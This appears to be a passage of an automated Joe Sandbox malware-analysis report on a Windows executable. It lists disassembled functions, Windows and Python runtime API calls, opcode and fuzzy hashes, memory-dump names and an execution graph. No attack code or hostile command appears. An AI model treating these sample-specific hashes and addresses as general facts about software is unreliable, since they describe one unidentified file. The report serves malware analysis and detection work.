                                                    • Instruction ID: fe72fabdda4bc426cb955c9b0f78cef64411df7b5e74fe6b4291b00e7cf3a812
                                                    • Opcode Fuzzy Hash: 90ec7c2969ce35aee26a67d6175707cb0f81e8cc9ba484ad9fb4d69d3ee99291
                                                    • Instruction Fuzzy Hash: 1A41F912B0868296FB249F259481379A756EF90BA4F184235EE5D86BEFDF3CD4819F00
                                                    Function 00007FF6399C832C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399C835E
                                                      • Part of subcall function 00007FF6399C9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C6E
                                                      • Part of subcall function 00007FF6399C9C58: GetLastError.KERNEL32(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C78
                                                    • GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6399BBEC5), ref: 00007FF6399C837C
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
                                                    • String ID: C:\Users\user\Desktop\file.exe
                                                    • API String ID: 3580290477-1957095476
                                                    • Opcode ID: ddc46de6380418fe35fca5e4aa859368a8c2113199f78edf785cf6db79d8d493
                                                    • Instruction ID: 5bae80b123212536b551d111b4e4cac4631b50baeae0a1394f1341ae5d065547
                                                    • Opcode Fuzzy Hash: ddc46de6380418fe35fca5e4aa859368a8c2113199f78edf785cf6db79d8d493
                                                    • Instruction Fuzzy Hash: 5C419F32E08B52D5E714DF26A8800BC63DAEF45794B595035EA4E87BCBDE3DE481AF00
                                                    Function 00007FF6399CF8E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CurrentDirectory_invalid_parameter_noinfo
                                                    • String ID: .$:
                                                    • API String ID: 2020911589-4202072812
                                                    • Opcode ID: a7e7ecf8ca197d948e5de4d949c192756b769c590a90378fa45037ccdac380fb
                                                    • Instruction ID: bf4df4939de93dd06d8182bfc04cc0b878e9c252535723f49fa895a2b8b456d2
                                                    • Opcode Fuzzy Hash: a7e7ecf8ca197d948e5de4d949c192756b769c590a90378fa45037ccdac380fb
                                                    • Instruction Fuzzy Hash: B5412A22F08A5298FB119FA19C511BC27B6AF14758F580039DE4DA7BCEEF389446AF10
                                                    Function 00007FF6399CBF48 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorFileLastWrite
                                                    • String ID: U
                                                    • API String ID: 442123175-4171548499
                                                    • Opcode ID: 0b7df1583adeec31525a7cba2b12c3ee68d62bc9877546cbea7757f0bce6ed29
                                                    • Instruction ID: 110170fbe8a2db689817185d1bdf7057fc3ee052df3ceb1c1dbebc7ab13ebe1f
                                                    • Opcode Fuzzy Hash: 0b7df1583adeec31525a7cba2b12c3ee68d62bc9877546cbea7757f0bce6ed29
                                                    • Instruction Fuzzy Hash: 16418322A19A4686DB20DF25E8443A97761FB98B94F484031EA4DC779DEF3CD441DF40
                                                    Function 00007FF6399CE8C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CurrentDirectory
                                                    • String ID: :
                                                    • API String ID: 1611563598-336475711
                                                    • Opcode ID: 07ccd8f192e8e90d69bfd843d23e6c5cb8c086d03a1c4ecf0d47480cab5f9335
                                                    • Instruction ID: 24cf6ba67ea5c256184b69b44759779ed0ed284c860266d794b2077cc1ed7231
                                                    • Opcode Fuzzy Hash: 07ccd8f192e8e90d69bfd843d23e6c5cb8c086d03a1c4ecf0d47480cab5f9335
                                                    • Instruction Fuzzy Hash: 10219E22E0868686EB609F15D84427D63A6FB84B84F494035DA8E837CADF7CE9459F41
                                                    Function 00007FF6399BF068 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ExceptionFileHeaderRaise
                                                    • String ID: csm
                                                    • API String ID: 2573137834-1018135373
                                                    • Opcode ID: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
                                                    • Instruction ID: a4a5144de1e8a38b8d93ed3175d110e9f001fb0ec8f18225f607f9422e44146f
                                                    • Opcode Fuzzy Hash: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
                                                    • Instruction Fuzzy Hash: ED112B36618B8582EB218F15F440269B7E5FB88B84F584235DF8D47BA9DF3CD5518B00
                                                    Function 00007FF6399CFA4C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: DriveType_invalid_parameter_noinfo
                                                    • String ID: :
                                                    • API String ID: 2595371189-336475711
                                                    • Opcode ID: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
                                                    • Instruction ID: 193f0fdcf3bfef65c6f0689e63a15f0c426b2e80a2f928c7c613a8be696dfaa6
                                                    • Opcode Fuzzy Hash: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
                                                    • Instruction Fuzzy Hash: 21014F22E1C24786FB20AF60986127E63A1EF58708F881035D54DC67DFEE7CE544EE14

                                                    Execution Graph

                                                    Execution Coverage:2.3%
                                                    Dynamic/Decrypted Code Coverage:0%
                                                    Signature Coverage:0%
                                                    Total number of Nodes:816
                                                    Total number of Limit Nodes:28
                                                    execution_graph 58108 7ffe146321b0 PySys_Audit 58109 7ffe146321d6 GetComputerNameExW 58108->58109 58122 7ffe1463220a 58108->58122 58110 7ffe1463323a GetLastError 58109->58110 58111 7ffe146321fb PyUnicode_FromWideChar 58109->58111 58113 7ffe14633255 58110->58113 58114 7ffe14633247 PyErr_SetFromWindowsErr 58110->58114 58111->58122 58116 7ffe1463326d PyMem_Malloc 58113->58116 58117 7ffe1463325d PyUnicode_New 58113->58117 58114->58122 58115 7ffe14632217 58118 7ffe14633290 GetComputerNameExW 58116->58118 58119 7ffe14633286 PyErr_NoMemory 58116->58119 58117->58122 58120 7ffe146332ba PyUnicode_FromWideChar PyMem_Free 58118->58120 58121 7ffe146332aa PyMem_Free PyErr_SetFromWindowsErr 58118->58121 58119->58122 58120->58122 58121->58122 58123 7ffe14632280 8 API calls 2 library calls 58122->58123 58123->58115 58124 7ffe14631060 WSAStartup 58125 7ffe146310b0 Py_AtExit 58124->58125 58126 7ffe14633108 58124->58126 58128 7ffe146310d1 58125->58128 58129 7ffe14631159 PyModule_Create2 58125->58129 58127 7ffe1463313c PyErr_SetString 58126->58127 58134 7ffe1463311c PyErr_Format 58126->58134 58138 7ffe14633162 PyErr_NoMemory 58127->58138 58135 7ffe146310f0 VerSetConditionMask VerSetConditionMask VerSetConditionMask VerifyVersionInfoW 58128->58135 58130 7ffe1463216b 58129->58130 58131 7ffe14631185 PyModule_AddObject PyErr_NewException 58129->58131 58161 7ffe14632280 8 API calls 2 library calls 58130->58161 58131->58130 58133 7ffe146311cf PyModule_AddObject PyErr_NewException 58131->58133 58133->58130 58137 7ffe1463120f PyModule_AddObject PyModule_AddObjectRef PyModule_AddObject 58133->58137 58134->58127 58135->58129 58137->58130 58140 7ffe14631268 PyModule_AddObject 58137->58140 58138->58130 58149 7ffe14633171 58138->58149 58139 7ffe1463217d 58140->58130 58141 7ffe1463128a PyModule_AddObject PyMem_Malloc 58140->58141 58141->58138 58143 7ffe146312bb PyCapsule_New 58141->58143 58142 7ffe1463322a _Py_Dealloc 58142->58130 58144 7ffe14633176 58143->58144 58145 7ffe1463130a PyModule_AddObject 58143->58145 58162 7ffe14634b80 _Py_Dealloc _Py_Dealloc _Py_Dealloc PyMem_Free 58144->58162 58146 7ffe14631325 150 API calls 58145->58146 58147 7ffe1463318c 58145->58147 58151 7ffe14632037 PyLong_FromUnsignedLong 58146->58151 58147->58149 58150 7ffe14633191 _Py_Dealloc 58147->58150 58149->58130 58149->58142 58150->58149 58151->58130 58152 7ffe14632048 PyModule_AddObject 58151->58152 58152->58151 58153 7ffe14632066 PyModule_AddIntConstant PyModule_AddIntConstant PyModule_AddIntConstant PyModule_AddIntConstant PyModule_GetDict 58152->58153 58153->58149 58154 7ffe146320cd VerSetConditionMask VerSetConditionMask VerSetConditionMask 58153->58154 58155 7ffe1463214a VerifyVersionInfoA 58154->58155 58155->58130 58156 7ffe146331a8 PyUnicode_FromString 58155->58156 58156->58149 58157 7ffe146331c8 _PyDict_Pop 58156->58157 58158 7ffe146331ee 58157->58158 58159 7ffe146331e5 _Py_Dealloc 58157->58159 58158->58149 58158->58155 58160 7ffe146331fa _Py_Dealloc 58158->58160 58159->58158 58160->58158 58161->58139 58163 7ff6399b2d00 58164 7ff6399b2d10 58163->58164 58165 7ff6399b2d61 58164->58165 58166 7ff6399b2d4b 58164->58166 58168 7ff6399b2d81 58165->58168 58179 7ff6399b2d97 __vcrt_freefls 58165->58179 58219 7ff6399b25f0 53 API calls _log10_special 58166->58219 58220 7ff6399b25f0 53 API calls _log10_special 58168->58220 58171 7ff6399b2d57 __vcrt_freefls 58221 7ff6399bb870 58171->58221 58174 7ff6399b3069 58236 7ff6399b25f0 53 API calls _log10_special 58174->58236 58177 7ff6399b3053 58235 7ff6399b25f0 53 API calls _log10_special 58177->58235 58179->58171 58179->58174 58179->58177 58180 7ff6399b302d 58179->58180 58182 7ff6399b2f27 58179->58182 58191 7ff6399b1440 58179->58191 58215 7ff6399b1bf0 58179->58215 58234 7ff6399b25f0 53 API calls _log10_special 58180->58234 58183 7ff6399b2f93 58182->58183 58230 7ff6399c9714 37 API calls 2 library calls 58182->58230 58185 7ff6399b2fb0 58183->58185 58186 7ff6399b2fbe 58183->58186 58231 7ff6399c9714 37 API calls 2 library calls 58185->58231 58232 7ff6399b2af0 37 API calls 58186->58232 58189 7ff6399b2fbc 58233 7ff6399b2470 54 API calls __vcrt_freefls 58189->58233 58237 7ff6399b3f70 58191->58237 58194 7ff6399b148c 58247 7ff6399bf9f4 58194->58247 58195 7ff6399b146b 58273 7ff6399b25f0 53 API calls _log10_special 58195->58273 58198 7ff6399b147b 58198->58179 58199 7ff6399b14a1 58200 7ff6399b14c1 58199->58200 58201 7ff6399b14a5 58199->58201 58203 7ff6399b14f1 58200->58203 58204 7ff6399b14d1 58200->58204 58274 7ff6399b2760 53 API calls 2 library calls 58201->58274 58207 7ff6399b14f7 58203->58207 58212 7ff6399b150a 58203->58212 58275 7ff6399b2760 53 API calls 2 library calls 58204->58275 58251 7ff6399b11f0 58207->58251 58208 7ff6399b1584 58208->58179 58210 7ff6399b14bc __vcrt_freefls 58269 7ff6399bf36c 58210->58269 58212->58210 58213 7ff6399b1596 58212->58213 58276 7ff6399bf6bc 58212->58276 58279 7ff6399b2760 53 API calls 2 library calls 58213->58279 58216 7ff6399b1c15 58215->58216 58521 7ff6399c3ca4 58216->58521 58219->58171 58220->58171 58222 7ff6399bb879 58221->58222 58223 7ff6399bbc00 IsProcessorFeaturePresent 58222->58223 58224 7ff6399b2f1a 58222->58224 58225 7ff6399bbc18 58223->58225 58548 7ff6399bbdf8 RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 58225->58548 58227 7ff6399bbc2b 58549 7ff6399bbbc0 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 58227->58549 58230->58183 58231->58189 58232->58189 58233->58171 58234->58171 58235->58171 58236->58171 58238 7ff6399b3f7c 58237->58238 58280 7ff6399b86b0 58238->58280 58240 7ff6399b3fa4 58241 7ff6399b86b0 2 API calls 58240->58241 58242 7ff6399b3fb7 58241->58242 58285 7ff6399c52a4 58242->58285 58245 7ff6399bb870 _log10_special 8 API calls 58246 7ff6399b1463 58245->58246 58246->58194 58246->58195 58248 7ff6399bfa24 58247->58248 58456 7ff6399bf784 58248->58456 58250 7ff6399bfa3d 58250->58199 58252 7ff6399b1248 58251->58252 58253 7ff6399b124f 58252->58253 58254 7ff6399b1277 58252->58254 58473 7ff6399b25f0 53 API calls _log10_special 58253->58473 58257 7ff6399b1291 58254->58257 58258 7ff6399b12ad 58254->58258 58256 7ff6399b1262 58256->58210 58474 7ff6399b2760 53 API calls 2 library calls 58257->58474 58260 7ff6399b12bf 58258->58260 58267 7ff6399b12db memcpy_s 58258->58267 58475 7ff6399b2760 53 API calls 2 library calls 58260->58475 58262 7ff6399bf6bc _fread_nolock 53 API calls 58262->58267 58263 7ff6399b12a8 __vcrt_freefls 58263->58210 58264 7ff6399b139f 58476 7ff6399b25f0 53 API calls _log10_special 58264->58476 58267->58262 58267->58263 58267->58264 58268 7ff6399bf430 37 API calls 58267->58268 58469 7ff6399bfdfc 58267->58469 58268->58267 58270 7ff6399bf39c 58269->58270 58493 7ff6399bf148 58270->58493 58272 7ff6399bf3b5 58272->58208 58273->58198 58274->58210 58275->58210 58505 7ff6399bf6dc 58276->58505 58279->58210 58281 7ff6399b86d2 MultiByteToWideChar 58280->58281 58283 7ff6399b86f6 58280->58283 58281->58283 58284 7ff6399b870c __vcrt_freefls 58281->58284 58282 7ff6399b8713 MultiByteToWideChar 58282->58284 58283->58282 58283->58284 58284->58240 58286 7ff6399c51d8 58285->58286 58287 7ff6399c51fe 58286->58287 58289 7ff6399c5231 58286->58289 58316 7ff6399c43f4 11 API calls _get_daylight 58287->58316 58291 7ff6399c5244 58289->58291 58292 7ff6399c5237 58289->58292 58290 7ff6399c5203 58317 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 58290->58317 58304 7ff6399c9f38 58291->58304 58318 7ff6399c43f4 11 API calls _get_daylight 58292->58318 58296 7ff6399b3fc6 58296->58245 58298 7ff6399c5265 58311 7ff6399cf1dc 58298->58311 58299 7ff6399c5258 58319 7ff6399c43f4 11 API calls _get_daylight 58299->58319 58302 7ff6399c5278 58320 7ff6399c4788 LeaveCriticalSection 58302->58320 58321 7ff6399cf5e8 EnterCriticalSection 58304->58321 58306 7ff6399c9f4f 58307 7ff6399c9fac 19 API calls 58306->58307 58308 7ff6399c9f5a 58307->58308 58309 7ff6399cf648 _isindst LeaveCriticalSection 58308->58309 58310 7ff6399c524e 58309->58310 58310->58298 58310->58299 58322 7ff6399ceed8 58311->58322 58314 7ff6399cf236 58314->58302 58316->58290 58317->58296 58318->58296 58319->58296 58327 7ff6399cef13 __vcrt_InitializeCriticalSectionEx 58322->58327 58324 7ff6399cf1b1 58341 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 58324->58341 58326 7ff6399cf0e3 58326->58314 58334 7ff6399d6064 58326->58334 58332 7ff6399cf0da 58327->58332 58337 7ff6399c6d4c 51 API calls 3 library calls 58327->58337 58329 7ff6399cf145 58329->58332 58338 7ff6399c6d4c 51 API calls 3 library calls 58329->58338 58331 7ff6399cf164 58331->58332 58339 7ff6399c6d4c 51 API calls 3 library calls 58331->58339 58332->58326 58340 7ff6399c43f4 11 API calls _get_daylight 58332->58340 58342 7ff6399d5664 58334->58342 58337->58329 58338->58331 58339->58332 58340->58324 58341->58326 58343 7ff6399d567b 58342->58343 58344 7ff6399d5699 58342->58344 58396 7ff6399c43f4 11 API calls _get_daylight 58343->58396 58344->58343 58346 7ff6399d56b5 58344->58346 58353 7ff6399d5c74 58346->58353 58347 7ff6399d5680 58397 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 58347->58397 58351 7ff6399d568c 58351->58314 58399 7ff6399d59a8 58353->58399 58356 7ff6399d5d01 58418 7ff6399c7830 58356->58418 58357 7ff6399d5ce9 58430 7ff6399c43d4 11 API calls _get_daylight 58357->58430 58369 7ff6399d56e0 58369->58351 58398 7ff6399c7808 LeaveCriticalSection 58369->58398 58377 7ff6399d5cee 58431 7ff6399c43f4 11 API calls _get_daylight 58377->58431 58396->58347 58397->58351 58400 7ff6399d59d4 58399->58400 58407 7ff6399d59ee 58399->58407 58400->58407 58443 7ff6399c43f4 11 API calls _get_daylight 58400->58443 58402 7ff6399d59e3 58444 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 58402->58444 58404 7ff6399d5abd 58416 7ff6399d5b1a 58404->58416 58449 7ff6399c8e90 37 API calls 2 library calls 58404->58449 58405 7ff6399d5a6c 58405->58404 58447 7ff6399c43f4 11 API calls _get_daylight 58405->58447 58407->58405 58445 7ff6399c43f4 11 API calls _get_daylight 58407->58445 58409 7ff6399d5b16 58409->58416 58450 7ff6399c9c10 IsProcessorFeaturePresent 58409->58450 58411 7ff6399d5ab2 58448 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 58411->58448 58412 7ff6399d5a61 58446 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 58412->58446 58416->58356 58416->58357 58455 7ff6399cf5e8 EnterCriticalSection 58418->58455 58430->58377 58431->58369 58443->58402 58444->58407 58445->58412 58446->58405 58447->58411 58448->58404 58449->58409 58451 7ff6399c9c23 58450->58451 58454 7ff6399c9924 14 API calls 3 library calls 58451->58454 58453 7ff6399c9c3e GetCurrentProcess TerminateProcess 58454->58453 58457 7ff6399bf7ee 58456->58457 58458 7ff6399bf7ae 58456->58458 58457->58458 58460 7ff6399bf7fa 58457->58460 58468 7ff6399c9b24 37 API calls 2 library calls 58458->58468 58467 7ff6399c477c EnterCriticalSection 58460->58467 58461 7ff6399bf7d5 58461->58250 58463 7ff6399bf7ff 58464 7ff6399bf908 71 API calls 58463->58464 58465 7ff6399bf811 58464->58465 58466 7ff6399c4788 _fread_nolock LeaveCriticalSection 58465->58466 58466->58461 58468->58461 58470 7ff6399bfe2c 58469->58470 58477 7ff6399bfb4c 58470->58477 58472 7ff6399bfe4a 58472->58267 58473->58256 58474->58263 58475->58263 58476->58263 58478 7ff6399bfb6c 58477->58478 58483 7ff6399bfb99 58477->58483 58479 7ff6399bfba1 58478->58479 58480 7ff6399bfb76 58478->58480 58478->58483 58484 7ff6399bfa8c 58479->58484 58491 7ff6399c9b24 37 API calls 2 library calls 58480->58491 58483->58472 58492 7ff6399c477c EnterCriticalSection 58484->58492 58486 7ff6399bfaa9 58487 7ff6399bfacc 74 API calls 58486->58487 58488 7ff6399bfab2 58487->58488 58489 7ff6399c4788 _fread_nolock LeaveCriticalSection 58488->58489 58490 7ff6399bfabd 58489->58490 58490->58483 58491->58483 58494 7ff6399bf191 58493->58494 58495 7ff6399bf163 58493->58495 58502 7ff6399bf183 58494->58502 58503 7ff6399c477c EnterCriticalSection 58494->58503 58504 7ff6399c9b24 37 API calls 2 library calls 58495->58504 58498 7ff6399bf1a8 58499 7ff6399bf1c4 72 API calls 58498->58499 58500 7ff6399bf1b4 58499->58500 58501 7ff6399c4788 _fread_nolock LeaveCriticalSection 58500->58501 58501->58502 58502->58272 58504->58502 58506 7ff6399bf706 58505->58506 58517 7ff6399bf6d4 58505->58517 58507 7ff6399bf752 58506->58507 58509 7ff6399bf715 __scrt_get_show_window_mode 58506->58509 58506->58517 58518 7ff6399c477c EnterCriticalSection 58507->58518 58519 7ff6399c43f4 11 API calls _get_daylight 58509->58519 58510 7ff6399bf75a 58512 7ff6399bf45c _fread_nolock 51 API calls 58510->58512 58515 7ff6399bf771 58512->58515 58513 7ff6399bf72a 58520 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 58513->58520 58516 7ff6399c4788 _fread_nolock LeaveCriticalSection 58515->58516 58516->58517 58517->58212 58519->58513 58520->58517 58522 7ff6399c3cfe 58521->58522 58523 7ff6399c3d23 58522->58523 58525 7ff6399c3d5f 58522->58525 58539 7ff6399c9b24 37 API calls 2 library calls 58523->58539 58540 7ff6399c1f30 49 API calls _invalid_parameter_noinfo 58525->58540 58527 7ff6399c3d4d 58529 7ff6399bb870 _log10_special 8 API calls 58527->58529 58528 7ff6399c9c58 __free_lconv_num 11 API calls 58528->58527 58531 7ff6399b1c38 58529->58531 58530 7ff6399c3df6 58532 7ff6399c3e60 58530->58532 58533 7ff6399c3e08 58530->58533 58534 7ff6399c3e3c 58530->58534 58537 7ff6399c3e11 58530->58537 58531->58179 58532->58534 58535 7ff6399c3e6a 58532->58535 58533->58534 58533->58537 58534->58528 58538 7ff6399c9c58 __free_lconv_num 11 API calls 58535->58538 58541 7ff6399c9c58 58537->58541 58538->58527 58539->58527 58540->58530 58542 7ff6399c9c5d RtlFreeHeap 58541->58542 58543 7ff6399c9c8c 58541->58543 58542->58543 58544 7ff6399c9c78 GetLastError 58542->58544 58543->58527 58545 7ff6399c9c85 __free_lconv_num 58544->58545 58547 7ff6399c43f4 11 API calls _get_daylight 58545->58547 58547->58543 58548->58227 58550 7ffdff165d30 58551 7ffdff165d44 58550->58551 58552 7ffdff165d58 58550->58552 58554 7ffdff165d86 58551->58554 58555 7ffdff165e87 58551->58555 58590 7ffdff19fa08 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter 58552->58590 58556 7ffdff165e7e 58554->58556 58557 7ffdff165d8f 58554->58557 58607 7ffdff166d54 137 API calls 58555->58607 58583 7ffdff166cd0 58556->58583 58560 7ffdff165d94 GetLastError FlsGetValue 58557->58560 58561 7ffdff165de6 58557->58561 58562 7ffdff165e24 FlsSetValue 58560->58562 58563 7ffdff165db6 FlsGetValue 58560->58563 58564 7ffdff165df6 FlsGetValue 58561->58564 58565 7ffdff165e08 58561->58565 58566 7ffdff165dc8 SetLastError 58562->58566 58567 7ffdff165e32 58562->58567 58563->58566 58568 7ffdff1a2d3c 58563->58568 58564->58565 58569 7ffdff1a2d20 FlsSetValue 58564->58569 58566->58565 58591 7ffdff161da0 58567->58591 58568->58562 58609 7ffdff175530 26 API calls __free_lconv_num 58569->58609 58574 7ffdff165e94 FlsSetValue 58576 7ffdff165e9e 58574->58576 58575 7ffdff165e4f FlsSetValue 58577 7ffdff1a2d47 FlsSetValue 58575->58577 58578 7ffdff165e60 58575->58578 58608 7ffdff162070 22 API calls 2 library calls 58576->58608 58577->58576 58605 7ffdff1655a4 22 API calls memcpy_s 58578->58605 58581 7ffdff165e68 58606 7ffdff162070 22 API calls 2 library calls 58581->58606 58610 7ffdff19ecfc 58583->58610 58585 7ffdff166ce4 58587 7ffdff166d2c 58585->58587 58588 7ffdff166d23 58585->58588 58618 7ffdff166bcd FlsAlloc 58585->58618 58587->58565 58588->58587 58633 7ffdff19ed30 7 API calls __vcrt_uninitialize_ptd 58588->58633 58590->58551 58592 7ffdff161db1 58591->58592 58593 7ffdff161dc6 HeapAlloc 58591->58593 58592->58593 58594 7ffdff1ab37a 58592->58594 58595 7ffdff1ab38c 58593->58595 58596 7ffdff161df7 58593->58596 58661 7ffdff168670 22 API calls 2 library calls 58594->58661 58599 7ffdff1ab3ca 58595->58599 58603 7ffdff1ab3ab HeapAlloc 58595->58603 58662 7ffdff16be7c GetLastError FlsGetValue SetLastError 58595->58662 58663 7ffdff1c7580 5 API calls memcpy_s 58595->58663 58596->58574 58596->58575 58664 7ffdff168670 22 API calls 2 library calls 58599->58664 58602 7ffdff1ab3cf 58603->58595 58604 7ffdff1ab3c5 58603->58604 58604->58599 58605->58581 58606->58566 58607->58565 58608->58566 58609->58565 58611 7ffdff19ed05 58610->58611 58634 7ffdff19f314 58611->58634 58614 7ffdff19ed0e 58614->58585 58616 7ffdff19ed17 58616->58614 58640 7ffdff19f36c DeleteCriticalSection 58616->58640 58619 7ffdff166bfd GetLastError FlsGetValue 58618->58619 58631 7ffdff166c30 58618->58631 58620 7ffdff166c1e FlsGetValue 